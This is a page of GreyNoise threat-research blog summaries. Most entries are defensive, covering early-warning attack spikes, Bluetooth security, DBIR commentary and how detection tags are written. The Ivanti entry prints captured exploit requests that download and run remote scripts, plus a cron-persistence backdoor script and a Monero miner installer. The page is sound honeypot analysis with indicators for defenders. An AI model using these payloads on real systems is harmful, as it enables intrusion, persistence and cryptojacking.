GreyNoise Research

In-depth analysis and trend reporting from the GreyNoise Research team. Includes detection engineering insights, reverse engineering work, and white papers that surface emerging threat trends based on our telemetry — helping defenders stay ahead of risks that are often overlooked or not yet widely known.

GreyNoise Uncovers Early Warning Signals for Emerging Vulnerabilities

It’s well known that the window between CVE disclosure and active exploitation has narrowed. But what happens before a CVE is even disclosed? 

In our latest research “Early Warning Signals: When Attacker Behavior Precedes New Vulnerabilities,” GreyNoise analyzed hundreds of spikes in malicious activity — scanning, brute forcing, exploit attempts, and more — targeting edge technologies. We discovered a consistent and actionable trend: in the vast majority of cases, these spikes were followed by the disclosure of a new CVE affecting the same technology within six weeks. 

This recurring behavior led us to ask: 

Could attacker activity offer defenders an early warning signal for vulnerabilities that don’t exist yet — but soon will? 

The Six-Week Critical Window

Across 216 spikes observed across our Global Observation Grid (GOG) since September 2024, we found: 

  • 80 percent of spikes were followed by a new CVE within six weeks.
  • 50 percent were followed by a CVE disclosure within three weeks. 
  • These patterns were exclusive to enterprise edge technologies like VPNs, firewalls, and remote access tools — the same kinds of systems increasingly targeted by advanced threat actors. 

Why This Matters

Exploit activity may be more than what it seems. Some spikes appear to reflect reconnaissance or exploit-based inventorying. Others may represent probing that ultimately results in new CVE discovery. Either way, defenders can take action. 

Blocking attacker infrastructure involved in these spikes may reduce the chances of being inventoried — and ultimately targeted — when a new CVE emerges. Just as importantly, these trends give CISOs and security leaders a credible reason to harden defenses, request additional resources, or prepare strategic responses based on observable signals — not just after a CVE drops, but weeks before. 

What’s Inside the Report

The full report includes: 

  • A breakdown of the vendors, products, and GreyNoise tags where these patterns were observed.
  • Analysis of attacker behavior leading up to CVE disclosure. 
  • The methodology used to identify spikes and establish spike-to-CVE relationships. 
  • Clear takeaways for analysts and CISOs on how to operationalize this intelligence. 

This research builds on our earlier work on resurgent vulnerabilities, offering a new lens for defenders to track vulnerability risk based on what attackers do — not just what’s been disclosed. 

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

BLUUID: Firewallas, Diabetics, And… Bluetooth

We're excited to share a groundbreaking new blog post from our Labs team that dives deep into the world of Bluetooth Low Energy (BTLE) device identification and vulnerability research. In "BLUUID: Firewallas, Diabetics, And... Bluetooth," our very own Remy explores the fascinating and often overlooked realm of BTLE security.

This comprehensive analysis covers everything from building a BTLE Generic Attribute (GATT) Universally Unique Identifiers (UUIDs) database to remotely identifying Bluetooth devices for vulnerability research. Remy doesn't just stop at theory – he demonstrates real-world implications by uncovering and responsibly disclosing vulnerabilities in Firewalla firewall products.

But why should you care about BTLE security? As Remy points out, the impact extends far beyond just privacy concerns. Recent incidents involving BTLE-enabled insulin pumps highlight the potential for physical harm when these systems are compromised or malfunction.

In this blog, you'll learn:

  • How to build a database of BTLE UUIDs for remote device identification
  • Techniques for extracting identifying attributes from Android APKs
  • Real-world application of these methods in vulnerability research
  • Insights into the current state of BTLE security in healthcare devices

Whether you're a cybersecurity professional, IoT enthusiast, or simply curious about the hidden world of Bluetooth, this blog post offers valuable insights and practical techniques you won't want to miss.

Ready to dive in? Head over to the GreyNoise Labs blog to read the full article and expand your understanding of BTLE security and its far-reaching implications.

SolarWinds Serv-U (CVE-2024-28995) exploitation: We see you!

On June 5, 2024, SolarWinds published an advisory detailing CVE-2024-28995 - a path-traversal vulnerability in Serv-U, discovered by Hussein Daher. Our Labs team - with our brand new deception engineer - seized this opportunity to deploy a new honeypot they've been working on. It's supposed to look more real - and vulnerable! - than past honeypots.

What did they discover?

They show off all kinds of information gleaned from their honeypot - who's attacking it, what files they're trying to steal, how often they come back, and more.

But, that's not all!

They actually managed to capture a live attacker making several copy/paste mistakes, and attempting to correct the exploit only to foul it up again! They track the attacker's progress over the course of 4 hours, including one instance where they sent the completely wrong exploit (which happens to be for an unpatched vulnerability!).

Check out the full blog on GreyNoise Labs to learn more about this vulnerability and our observations.

2024 Verizon DBIR: Surviving the Year of the Vuln

The 2024 edition of the Verizon Data Breach Investigations Report (DBIR) has finally been released! The team did their usual bang-up job pulling key knowledge threads from the massive volume of data submitted by their ever-increasing number of contributors (of which GreyNoise is one!). Our researchers have pored over this tome to identify critical themes that should be of great import to GreyNoise customers and community.

The Year Of The Vuln

Identifying when attackers attempt to exploit vulnerabilities on internet-facing endpoints is at the heart of what we do at GreyNoise. So, it comes as no surprise that the DBIR team “witnessed a substantial growth of attacks involving the exploitation of vulnerabilities as the critical path to initiate a breach when compared to previous years.” The 180% increase was felt — almost daily — by all who keep track of headlines in the cybersecurity press. Our GreyNoise sensor fleet caught an extra 200K unique IPv4 addresses slinging malicious tagged activity our way (4.2 million malicious IPv4s in 2022 vs. 4.4 million in 2023), and the volume from those adversarial sources went from just over 10 million malicious tagged events to 13+ million.

One thing we did not expect was vulnerability exploitation chipping away at the volume of both credential-based attacks and phishing as the critical path action to initiate a breach, as seen in Figure 6 from the report:

Historically, phishing has been one of the most successful attack paths for our adversaries, and the volume of lost and stolen credentials is stunningly huge. However, organizations have been steadily investing in both more advanced phishing protection (including awareness training); and, credential blasts are both noisy and increasingly thwarted as organizations rely more heavily on elevated protections provided by identify and authentication providers like Okta.

Conversely, using internet infrastructure to find and exploit vulnerable, exposed services can be a risk-free activity for attackers, and there is an almost endless supply of both new vulnerabilities and unpatched hosts. GreyNoise excels at identifying this activity, and we provide the timeliest and most comprehensive information on those attack types and sources, bar none.

It was also a bit distressing, but not unsurprising (given Figure 6) seeing that vulnerability exploitation was at the heart of third-party-related breaches.

Figure 10. Action varieties in selected supply chain interconnection breaches (n=1,075)

You Don’t Have Time To Patch

Every defender should print out page 21 of the 2024 DBIR and tape it to their wall (or, cubicle, if you’re in the 50% of IT folks still commuting to offices).

Most cybersecurity folks are not familiar with the “survival analysis” shown in Figure 19. It’s just a fancy way of estimating the time until some event occurs. This analysis focuses on vulnerability remediation data (i.e., “patching”), with an emphasis on how long it takes organizations to patch vulnerabilities in CISA’s Known Exploited Vulnerabilities (KEV) catalog.

GreyNoise researchers are huge fans of CISA KEV. We even benchmark ourselves against it! We meet or beat CISA over 62% of the time when it comes to having a tag ready for defenders to use. How do our customers use these tags? Well, the primary way is to block activity from IP addresses associated with these tags. While this may not prevent pinpoint targeted attacks, it absolutely buys them time to keep safe from opportunistic attacks, and helps them identify those targeted attacks much faster, and with greater precision.

Our own data clearly shows that once a proof-of-concept (PoC) is available, attackers waste zero time going after vulnerable systems. And, there is increasingly little daylight between when a CVE is published and when a PoC becomes available.

Seeing that 85% of CISA KEV entries remain unpatched after 30 days clearly shows that most organizations have no time to patch. This means protecting these assets from harm during that 30-day exposure is paramount.

Closing The Door On Attackers

The DBIR team used the “open door” metaphor for how attackers made their way into organizations in 2023. At GreyNoise, we’re highly focused on helping organizations safeguard every single entry point in their internet-facing infrastructure, while also laying out some of our own trapdoors to help confuse and ensnare them.

With GreyNoise, organizations can gain an edge over their adversaries, using our advanced sensors to identify targeted attacks quicker than ever before. Combined with the proven, battle-tested intelligence in our existing Noise dataset, defenders now have the tools to both make it extremely difficult for attackers to be successful, and slow them down long enough to finish asset remediation efforts. Join us as we work to chip away at the million-incident record the DBIR set this year, and turn the tide against our combined foes! You can get started with our data here, or connect with our team to talk about advanced features.

Decrypting Fortinet's FortiOS 7.0.x

Curious about decrypting Fortinet's FortiOS 7.0.x firmware? In the latest Grimoire post, we delve into the technical details of doing just that, revealing a hardcoded key used in the ChaCha20 encryption algorithm and the steps required to extract the decrypted rootfs.gz file. With this information, researchers can investigate the relevant vulnerabilities and help users address potential security risks.

Check it out over here.

GreyNoise Tags Its Way to 1337 Elite Status

Yesterday, GreyNoise reached a fun and significant milestone after publishing our 1,337th tag. 1337 is a cherished number in hacker culture, as it is a numerical shorthand for "leet", which itself stands for "elite". This term has deep roots, going all the way back to the 80's when one had to make modems scream to access bulletin board systems (now, we humans are the ones screaming whenever we go online to see what fresh hades awaits us each day).

What makes this milestone even more significant is how it was achieved.

The chart, below, shows the cumulative sum of tag counts by year. While there was a modest improvement in intra-year tag creation from 2022 to 2023, we're just into the first few weeks of Q2 in 2024 and are almost at the total tag count for 2023.

We will almost certainly blow past 2023's tag count well-before the end of Q2, and this has all been made possible by our focused and practical use of AI. This system helps our incredible detection engineers quickly triage the millions of events our sensor fleet absorbs every day. With it, they discover and tag novel payloads to help inform and protect our customers, community, and the internet as a whole. The application that fuels this work is called Sift, and we've waxed poetic about it quite a bit over the past few months.

This boost to the tag inventory has also meant an increase in CVE coverage.

(Since it most likely drew your attention, the jumps in 2022 were due numerous factors, including the increase in Russian hostilities towards Ukraine.)

60% of 2024 tags are based on CVEs, and — along with plenty of "modern" vulnerabilities — Sift has helped us catch exploitation attempts of some very old CVEs, too:

I'm incredibly proud of our team of data scientists, security researchers, and detection engineers. Their leet expertise powers the detections that folks rely on every day, and we hope you'll join in our celebration of achieving this epic milestone!

To learn more about GreyNoise tags and how they differ from "traditional" detections, check out our Tags Webinar Series.

CVE-2024-3273: D-Link NAS RCE Exploited in the Wild

A remote code execution vulnerability in D-Link NAS devices is actively being exploited and is tracked under CVE-2024-3273. The vulnerability is believed to affect as many as 92,000 devices and further information can be found on D-Link’s support announcement.

(04/11/2024): Clarification on CVE-2024-3273 & CVE-2024-3272

Exploitation of the CVE-2024-3273 command injection vulnerability requires the two valid `user=` and `passwd=` parameters. There is a companion vulnerability tracked as CVE-2024-3272 and describes the issue as "manipulation of the argument user with the input messagebus leads to hard-coded credentials". It is important to note that the "credentials" as described are only the username for the user "messagebus".

"messagebus" is not a backdoor account. It is one of many common pre-configured linux system users that functionally cannot "log in", and thus have no password. Other common example system users include avahi, syslog, nobody, ntp, rtkit, and whoopsie. D-Link correctly validates that the username exists and also correctly validates that the provided password is correct. The logic flaw exercised by CVE-2024-3273 is that the empty (correct) password for the "messagebus" user is never validated that the user should ever be able to log in using a password, if at all.

(04/09/2024): Update on number of vulnerable devices

Upon further analysis, it appears the number of vulnerable devices is much lower than initially reported.  According to our friends at Censys, the number is closer to 5,500 devices.

GreyNoise quickly released a tag for tracking under D-Link NAS CVE-2024-3273 RCE Attempt, which was relatively easy for us because our Sift tooling surfaced the exploit to us automatically. Sift curates a report of new/interesting traffic observed by GreyNoise sensors daily after doing much of the analysis and triage work itself.

You can read more about Sift.

Sift’s analysis above is correct! Taking it a step further, the command the above IP is attempting to execute is a generic shell script pattern used by botnet operators to try to execute malware for every possible CPU architecture in the expectation that at least one will work. The malware is fetched from 38[.]6[.]224[.]248 over HTTP.

We have retrieved the sample skid.x86 and uploaded it to VirusTotal for sharing and further analysis:

Where are they now? Starring: Atlassian's Confluence CVE-2023-22527

Ever wonder what happens to vulnerabilities after they're forgotten? 

In a new blog from the GreyNoise Labs team, we look at CVE-2023-22527, an Atlassian Confluence vulnerability that was all over the news back in January/2024, then forgotten a week later. But even though the media has forgotten, attackers haven't!

The Labs team digs a little into who the attacker is and their techniques - killing other malware, deleting log files, and even using SSH keys to infect other hosts.

If you're interested in how attackers use old vulnerabilities and what they do once they're on a host, check it out

Hunting for Fortinet's CVE-2024-21762

Here at GreyNoise, we’re pretty lucky to see a lot of proof of concepts on the wire as they’re released, but sometimes we have to seek them out ourselves. When CVE-2024-21762, an out-of-bounds write vulnerability in Fortinet FortiOS and FortiProxy, was added to CISA’s Known Exploited Vulnerabilities (KEV) Catalog, it became one such case. With no writeup or proof of concept available, follow along as our researcher h0wdy goes down the rabbit hole to get enough information to develop a detection for our sensors. 

Check out the blog!

If you’re just looking for the tag, you can track Fortinet's CVE-2024-21762 here:

Anatomy of a GreyNoise Tag

Tags allow users to see the GreyNoise data from a non-IP-centric view. The difference between how we view tags from an IP-Centric perspective and a non-IP-Centric perspective can be seen in the differences between the visualizer’s Today and Tags view.

At the time of writing this, the Today view gives us a list of a list of 348,125 IPs, all seen within the last day. Each of these IPs contains different data points like the Source Countries, Destination Countries, ASN, and Top Tags. Approaching the data in this way shows IPs that contain tags. This lets users get a general overview of the characteristics 283,765 machines have shared over the past 24 hours. This is useful and fun information when trying to see the overarching landscape. However, when in need of a blocklist or alert about IPs that may be targeting a specific piece of software or hardware that your network contains, this is an instance where tags come in handy. This is because when looking at GreyNoise data from the visualizer’s Tags view, tags have IPs attributed to specific things that users may be interested in rather than just the IPs themselves. For example, if you’re using Cisco routers, you might go to the Tags view and just query Cisco, resulting in a list of tracked events related to Cisco devices.

The hope is that this design results in an experience more like Googling and less like writing an SQL query to find things that may interest users.

To reiterate, the technical goal of tags is to sort the data from outside the scope of the IP, and this is where GreyNoise classifications come into play. Classifications are split into Intent and Category. Intent is divided into Unknown, Malicious, and Benign, and Category is divided into Activity, Tool, Actor, Worm, and Search Engine. These sets are not limited to CVE based activity. They include behaviors, attribution, and unique traffic characteristics.  This is what the bulk of GreyNoise tags boils down to: either tracking “behaviors,” like in the case of Malicious Activity, and “attribution,” like in the case of a Benign Actor. What’s particularly interesting about these two examples is that there shouldn’t be any overlap between them. When there is, that indicates the potential need to rewrite a tag, which leads to the topic you’ve probably all been waiting for: how a tag gets written.

A Malicious Activity and Benign Actor tag work well as examples because of the difference in how they’re tracked. A Malicious Tag is heavily based on the contents of captured web packets (pcap). In contrast, a Benign Actor tag will ideally be based on an IP list, and when that can’t be gathered, a combination of rDNS and ASN will be used if these variables are consistent. This makes writing a Benign Actor tag the most straightforward, and typically most time intensive of the two.

Writing a Benign Actor starts with finding an actor. This is usually suggested by consistent rDNS with a word like bot, scanner, or crawl in its name. We can easily search this in the viz with metadata.rdns:crawl. This returns a lot of GoogleBot hits. Refine the search some more: metadata.rdns:crawl -actor:”GoogleBot” and we can see some crawlers and actors that have not been tagged yet.



That first unknown IP in the list has crawl-149-56-150-195.dataproviderbot.com as its rDNS. The next question is, have we seen other IPs with dataproviderbot, or something like it, as it’s rDNS, and if so, are they also benign? A search for metadata.rdns:*dataprovider* will work.



There is no malicious activity to speak of, so they seem benign. This can be verified by trying to find any information about the source. Following the rDNS trail is a good start. The initial crawl link times out, but the parent rDNS resolves to https://www.dataprovider.com/. They seem like a good candidate for a Benign Actor tag, but before reaching out, it’s always worth checking if a tag already exists, and to my surprise, it does: 


However, we don’t seem to be getting any hits for it. After reviewing the query we’re running on the backend, it looks like we’re tagging based on rDNS, but it’s not a match for what we’re seeing. They must have changed their crawler’s name! This is going to need some further investigation. A Google search for dataproviderbot leads to a page about their crawler specifically. Looks like they identify themselves with a User-Agent: 

The Dataprovider.com spider identifies itself with a user agent, which makes it visible in logs and site statistics programs you may use. Look for the following agent:"Mozilla/5.0 (compatible; Dataprovider.com)"

This won’t do because User-Agent’s can be easily spoofed. Fortunately, they have a contact link just for questions about the bot! At this point, I would usually just reach out to them, verify that the traffic we’re seeing is theirs, and ask if they can share their IP list. If they cannot share this, it does seem that we may have had enough information to write a tag for tracking them—the search for metadata.rdns:*dataprovider* done earlier had some promising results that I hadn’t mentioned.


This information and what we know about their User-Agent and rDNS could suffice.

When tagging this benign actor without an IP list, the primary points of interest are ASN, ORG, and rDNS. The only thing we might consider grabbing from the PCAP’s data field in this case would be the User-Agent. However, when tracking Malicious Activity, or Activity in general, we primarily focus on the data field of PCAP.

Here’s a scrubbed packet that matches a tag I wrote:

GET /device.rsp?opt=user&cmd=list HTTP/1.1
Host: 
Connection: close
Accept: */*Accept-Encoding: gzip, deflate
Connection: close
Cookie: uid=adminUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0

What information can we gather from this? When discussing this event, we can translate it to: “This is an HTTP GET request requesting the device.rsp endpoint on the server. The GET request queries for opt=user&cmd=list and the contents of its Cookie is uid=admin.” Experience and a basic understanding of standard protocols are a considerable help when recognizing anomalies or notable features of a web packet. We can't all have experience, but a plain-text protocol like HTTP has plenty of resources to help us understand what’s going on in this packet. This basic understanding allows us to infer the request for /device.rsp?opt=user&cmd=list and the user=admin cookie are likely part of an authentication bypass, making them defining features of this packet. We can check this with a Google search for allintext:”/device.rsp?opt=user&cmd=list”. And what do you know!? The first hit is for CVE-2018-9995; the description of this vulnerability makes it pretty clear we’ve found our match!

allow remote attackers to bypass authentication via a "Cookie: uid=admin" header, as demonstrated by a device.rsp?opt=user&cmd=list request that provides credentials within JSON data in a response.

This is an excellent time to pause and point out that the intention of tags is not only to generate data regarding a vulnerability but also to aid in the proliferation of related knowledge. This is achieved through the tag’s description and providing resources found in the research process. Once we’ve added these, we can form a query to search GreyNoise for similar packets. This is one of the more nuanced aspects of writing tags. Finding the balance between making the signature general enough to catch variations of the same event but specific enough so there are no false positives. An accurate query to the internal GN data set for this event would look something like this:

select * from packets where data like 'GET /device.rsp~?opt=user&cmd=list%user=admin%' escape '~'

The query for this event is pretty straightforward, but in many cases, exploitation may work regardless of capitalization or order of request operands like opt and cmd. In these cases, the query has to be adjusted accordingly.

If you have any more questions about detection engineering and how we write tags here at GreyNoise, please feel free to reach out to me via email or socials: h0wdy@greynoise.io @h0wdy @h0wdy.bsky.social! Also! Please don’t hesitate to message me if you’re new to hacking! I’m also just starting my journey, and I am always down to connect and share knowledge with my fellow n00bs! <3 

Bluetooth Unleashed: Syncing Up with the RattaGATTa Series! Part 1

Are you ready to dive into the fascinating world of Bluetooth Low-Energy (BTLE) and its implications for privacy and security? GreyNoise Labs is thrilled to present the first installment of our series, "RattaGATTa: Scalable Bluetooth Low-Energy Survey." This blog post is not just a narrative—it's an adventure into the intricacies of BTLE, the challenges of hardware and radio frequency, and the importance of rate-limiting algorithms.

Join Remy as he recounts the journey from a simple act of kindness—using BTLE to locate a lost Fitbit—to the development of a sophisticated system capable of identifying and cataloging BTLE devices. Discover the complexities of the domain, the hurdles in measuring security impacts, and the tools that can provide quantitative and qualitative measures. This is a tale of technology, cybersecurity, and the quest for understanding a technology that surrounds us invisibly yet significantly.

In this series, he'll explore the depths of BTLE, from the basics of device identification to the nuances of connection protocols. He'll share insights on custom hardware design, iterative software development, and the real-world challenges that come with radio frequency communications. Whether you're a cybersecurity professional, a tech enthusiast, or simply curious about the wireless world around you, this series promises to enlighten and engage. Stay tuned for more as we unravel the mysteries of Bluetooth Low-Energy together.

Check out the first blog in this series here.

Practical Vulnerability Archaeology Starring Ivanti's CVE-2021-44529

While everybody has been talking about Ivanti vulnerabilities such as CVE-2024-21887 (remote code execution via path traversal - our tag) and CVE-2024-21893 (remote code execution via server-side request forgery - our tag), our labs' team ran into some online discussions about CVE-2021-44529. According to Ivanti's advisory, it's due to "code injection," but online sources claimed it's actually a backdoor. A mystery!   

In a brand new GreyNoise Labs Grimoire blog, Ron pulls out his archaeology tools and investigates what little evidence of this vulnerability remains. While most details have been flushed down the memory hole, tools like the Wayback Machine still have archives that we can explore.

Would you like to know more? Check out the blog!

The Confusing History of F5 BIG-IP RCE Vulnerabilities

In our latest Grimoire post, Ron dives into the confusing web of F5 BIG-IP vulnerabilities. It all started when he found an untagged shell-injection exploit in Sift that looked like—but wasn't—CVE-2021-22986 (a well-known SSRF bug); it was, however, discussed in many of the same write-ups as CVE-2021-22986. But if it's not the SSRF issue, what IS it? Ron works backward and identifies each of the recent F5 BIG-IP vulnerabilities as they're seen on our sensors and uses some advanced sleuthing skills—including talking to the folks who originally wrote about these issues—to track down the mysterious shell-injection vulnerability.

While investigating old F5 vulnerabilities, he found other interesting bits of history. For example, did you know that the CVE-2021-22986 patch fixed two similar (but different) vulnerabilities? And that neither was the shell injection? Or, did you know that there's an intended method for running Linux commands (as root!) against the F5 BIG-IP management port, which is commonly leveraged by authentication bypass issues? We even demonstrate using that built-in (mis?)-feature to escalate any local user to root.

If you want to know way too much about attacks against F5 BIG-IP devices, then this is the blog for you!

Tags referenced:

CVE-2021-22986 - Authentication Bypass via SSRF

CVE-2022-1388 - Auth Bypass via Header Smuggling

CVE-2021-23015 - Post-authentication RCE via Command Injection


CVE-2022-41800 - Post-authentication RCE via .rpmspec Injection

n/a - Post-authentication RCE via /mgmt/tm/util/bash

Ivanti Connect Secure Exploited to Install Cryptominers

One of my favorite things to do each morning is to look at the significant recent vulnerabilities that I found interesting - right now, my list is Ivanti Connect Secure, Atlassian Confluence, Apache Ofviz, SnakeYAML, etc., to check our honeypots to see if any new exploits have dropped since last time. And oh boy, was I rewarded this morning when I checked Ivanti! The overwhelming majority of what we see daily is scanners scanning honeypots and honeypots luring scanners - a security Ouroborus, if you will - but thanks to our new sensors, we have much more insight into what "real" attackers are trying. Let's see what turned up when I lifted the Ivanti rock this morning!

Note: I'm censoring IPs / users in the requests to defang them, but I included them at the bottom in case you want to block them.

Target

These payloads are all leveraging a pair of vulnerabilities in Ivanti Connect Secure - CVE-2023-46805 and CVE-2024-21887, written about here, and with a public exploit available. You can also see the exploitation picking up on our tag.

Payload 1

Here's the first payload that caught my eye:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b%77%67%65%74%20%2d%2d%74%69%6d%65%6f%75%74%3d%32%30%20%2d%2d%6e%6f%2d%63%68%65%63%6b%2d%63%65%72%74%69%66%69%63%61%74%65%20%2d%71%20%2d%4f%2d%20%68%74%74%70%73%3a%2f%2f[ip]%2f%69%76%61%6e%74%69%2e%6a%73%7c%73%68%3b%0a HTTP/1.1
Host: [ip]
User-Agent: curl/7.81.0  
Accept: */*

Which decodes to:

api/v1/totp/user-backup-code/../../license/keys-status/;wget --timeout=20 --no-check-certificate -q -O- https://[ip]/ivanti.js|sh;\n"

As of writing, that file is live and installs a persistent backdoor using cron:

#!/bin/bash
url='https://[ip]/ivanti'
name1=`date +%s%N`
wget --no-check-certificate ${url} -O /etc/$name1
chmod +x /etc/$name1
echo "*/10 * * * * root /etc/$name1" >> /etc/cron.d/$name1
/etc/$name1

name2=`date +%s%N`
curl -k ${url} -o /etc/$name2
chmod +x /etc/$name2
echo "*/10 * * * * root /etc/$name2" >> /etc/cron.d/$name2
/etc/$name2

name3=`date +%s%N`
wget --no-check-certificate ${url} -O /tmp/$name3
chmod +x /tmp/$name3
(crontab -l ; echo "*/10 * * * * /tmp/$name3") | crontab -
/tmp/$name3

name4=`date +%s%N`
curl -k ${url} -o /var/tmp/$name4
chmod +x /var/tmp/$name4
(crontab -l ; echo "*/10 * * * * /var/tmp/$name4") | crontab -
/var/tmp/$name4

while true
do
	chmod +x /etc/$name1
	/etc/$name1
	sleep 60
	chmod +x /etc/$name2
	/etc/$name2
	sleep 60
	chmod +x /tmp/$name3
	/tmp/$name3
	sleep 60
	chmod +x /var/tmp/$name4
	/var/tmp/$name4
	sleep 60
done

Advice: Check for files that look like /etc/<long number>, /tmp/<long number>, or /var/tmp/<long number>, and check your crontab files for odd entries

The payload it fetches is a 64-bit executable:

$ file backdoor 
backdoor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

What does the backdoor do? Let's take the lazy approach - strings:

$ strings -n10 backdoor
[...lots and lots of junk...]
Usage: ispdd [OPTIONS]
  -o, --url=URL                 URL of mining server
  -a, --algo=ALGO               mining algorithm https://ispdd.com/docs/algorithms
      --coin=COIN               specify coin instead of algorithm
  -u, --user=USERNAME           username for mining server
  -p, --pass=PASSWORD           password for mining server
  -O, --userpass=U:P            username:password pair for mining server
  -x, --proxy=HOST:PORT         connect through a SOCKS5 proxy
  -k, --keepalive               send keepalived packet for prevent timeout (needs pool support)
[...]

Aha, a bitcoin miner!

Payload 2

Next up, this payload:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bwget%20https%3a%2f%2fraw%2egithubusercontent%2ecom%2fmomika233%2ftest%2fmain%2fm%2esh%20%26%26%20chmod%20%2bx%20m%2esh%20%26%26%20bash%20m%2esh HTTP/1.1  
Host: [ip]  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36  
Connection: close  
Accept-Encoding: gzip

Which decodes to:

/api/v1/totp/user-backup-code/../../license/keys-status/;wget https://raw.githubusercontent.com/[user]/test/main/m.sh && chmod +x m.sh && bash m.sh

Unsurprisingly, m.sh is a shell script:

#!/bin/bash
cd /tmp && wget https://github.com/[user]/test/raw/main/watchd0g && chmod +x watchd0g && ./watchd0g
cd /tmp && wget  https://github.com/[user]/test/raw/main/watchbog && chmod +x watchbog && ./watchbog

Kinda weirdly, the scripts are 64-bit and 32-bit executables:

$ file watch*
watchbog: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
watchd0g: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Both files are UPX-packed (what year is this?), which is fortunately quite easy to unpack:

$ dnf install upx

$ upx -d watchbog 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
  11911882 -   4454800   37.40%   linux/i386    watchbog

Unpacked 1 file.

$ upx -d watchd0g 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
  12519601 -   4741804   37.88%   linux/amd64   watchd0g

Unpacked 1 file.

Those files appear to be written in Go and somewhat obfuscated (or maybe Go always looks obfuscated?) - in any case, the strings command doesn't tell me much other than an SSH private key:

-----BEGIN PRIVATE KEY-----
MC4CAQAwBQYDK2VwBCIEIDWHqbKNp4h9inuerCayD7NO6glM9bnHjB+WcmT2Prfa
-----END PRIVATE KEY-----

Rather than spending a lot of time digging into this, I decided to move on to the next thing. Searching by checksum, it does appear that watchd0g is known malware

Advice: check for /tmp/watchd0g and /tmp/watchbog

Payload 3

And finally, the last payload:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b(type%20curl%20&%3E/dev/null;%20curl%20-o%20/tmp/script.sh%20http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh%20%7C%7C%20type%20wget%20&%3E/dev/null;%20wget%20-O%20/tmp/script.sh%20http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh);%20chmod%20+x%20/tmp/script.sh;%20/tmp/script.sh HTTP/1.1  
Host: 128.199.174.6  
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36  
Connection: close  
Accept-Encoding: gzip

Which decodes to:

/api/v1/totp/user-backup-code/../../license/keys-status/;(type curl &>/dev/null; curl -o /tmp/script.sh http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh || type wget &>/dev/null; wget -O /tmp/script.sh http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh); chmod  x /tmp/script.sh; /tmp/script.sh

And the shellscript it fetches:

$ cat script.sh 
#!/bin/bash

WALLET=45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5
EMAIL=$2
if [ -z $HOME ]; then
  HOME=/var/tmp/
fi


CPU_THREADS=$(nproc)
EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
if [ -z $EXP_MONERO_HASHRATE ]; then
  exit 1
fi

power2() {
  if ! type bc >/dev/null; then
    if   [ "$1" -gt "8192" ]; then
      echo "8192"
    elif [ "$1" -gt "4096" ]; then
      echo "4096"
    elif [ "$1" -gt "2048" ]; then
      echo "2048"
    elif [ "$1" -gt "1024" ]; then
      echo "1024"
    elif [ "$1" -gt "512" ]; then
      echo "512"
    elif [ "$1" -gt "256" ]; then
      echo "256"
    elif [ "$1" -gt "128" ]; then
      echo "128"
    elif [ "$1" -gt "64" ]; then
      echo "64"
    elif [ "$1" -gt "32" ]; then
      echo "32"
    elif [ "$1" -gt "16" ]; then
      echo "16"
    elif [ "$1" -gt "8" ]; then
      echo "8"
    elif [ "$1" -gt "4" ]; then
      echo "4"
    elif [ "$1" -gt "2" ]; then
      echo "2"
    else
      echo "1"
    fi
  else 
    echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
  fi
}

PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
  echo "ERROR: Can't compute port"
  exit 1
fi

if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
  echo "ERROR: Wrong computed port value: $PORT"
  exit 1
fi



if sudo -n true 2>/dev/null; then
  sudo systemctl stop .ssh_miner.service
fi
killall -9 xmrig

rm -rf $HOME/.ssh
[ -d $HOME/.ssh ] || mkdir $HOME/.ssh
if ! curl  "http://[ip]:8089/u/123/100123/202401/sshd" -o $HOME/.ssh/sshd; then
  if ! wget "http://[ip]:8089/u/123/100123/202401/sshd" -O $HOME/.ssh/sshd; then
    echo "ERROR: Can't download sshd"
    exit 1
  fi
fi

if ! curl  "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
  if ! wget "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
    echo "ERROR: Can't download config"
    exit 1
  fi
fi

chmod +x $HOME/.ssh/sshd


PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
  PASS=`ip route get 1 | awk '{print $NF;exit}'`
fi
if [ -z $PASS ]; then
  PASS=na
fi
if [ ! -z $EMAIL ]; then
  PASS="$PASS:$EMAIL"
fi


